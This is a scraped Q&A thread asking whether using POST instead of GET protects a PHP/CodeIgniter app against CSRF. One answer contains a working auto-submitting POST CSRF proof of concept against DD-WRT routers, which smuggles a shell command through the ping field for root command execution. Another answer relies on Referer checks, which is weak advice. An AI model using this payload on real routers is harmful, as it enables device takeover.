Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

PHP security using POST instead of GET to protect against XSRF?

Tags:

security

php

csrf

I have some URLs like http://mysite.com/module/45/set_name/new-name in my application which are designed to be accessed using ajax.

In order to prevent XSRF I force such request to be POST requests. With GET it's trivial to generate a XSRF using the following:

<img src="http://mysite.com/module/45/set_name/new-name"/>

Using POST prevents this particular attack but is this actually any more secure than using GET? If not, what else can/should be done?

Thanks.


Edit: I'm using CodeIgniter and have the following in my config:

$config['csrf_protection'] = TRUE;
$config['csrf_token_name'] = 'csrf_test_name';
$config['csrf_cookie_name'] = 'csrf_cookie_name';
$config['csrf_expire'] = 3600;

Am I safe? Are there any downsides to having the CSRF on? Other than forms expiring after an hour?

like image 294
Matthew Avatar asked Mar 13 '11 03:03

Matthew


3 Answers

Using POST alone is not enough because someone can make a form with hidden input elements and automatically submit it to your website. It's not as easy as an img element with GET request but it's still possible. What you should use is some form of verification in the POST parameters, like a random value or session token that unlike cookies would not be sent in a XSRF request.

like image 73
Zed Avatar answered Oct 21 '22 22:10

Zed


No chaning to post does not solve this problem. You should read Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet.

Here is an example Proof of Cocnept POST based CSRF exploit that I wrote. This gives you remote root access to DD-WRT:

<html>
    <form method="post" action="http://192.168.1.1/apply.cgi" id=1>
        <input name="submit_button" value="Ping" type="hidden">
        <input name="action" value="ApplyTake" type="hidden">
        <input name="submit_type" value="start" type="hidden">
        <input name="change_action" value="gozila_cgi" type="hidden">
        <input name="next_page" value="Diagnostics.asp" type="hidden">
        <input name="ping_ip" value="echo owned">
        <input name="execute command" type="submit">
    </form>
</html>
<script>
    document.getElementById(1).submit();//remote root command execution!
</script>
like image 3
rook Avatar answered Oct 21 '22 21:10

rook


Why don't you just check the referrer sent along with the request? Both image src and javascript-sent form will inform you that the request is sent from a different host and you can just block that request.

like image 1
Fluffy Avatar answered Oct 21 '22 22:10

Fluffy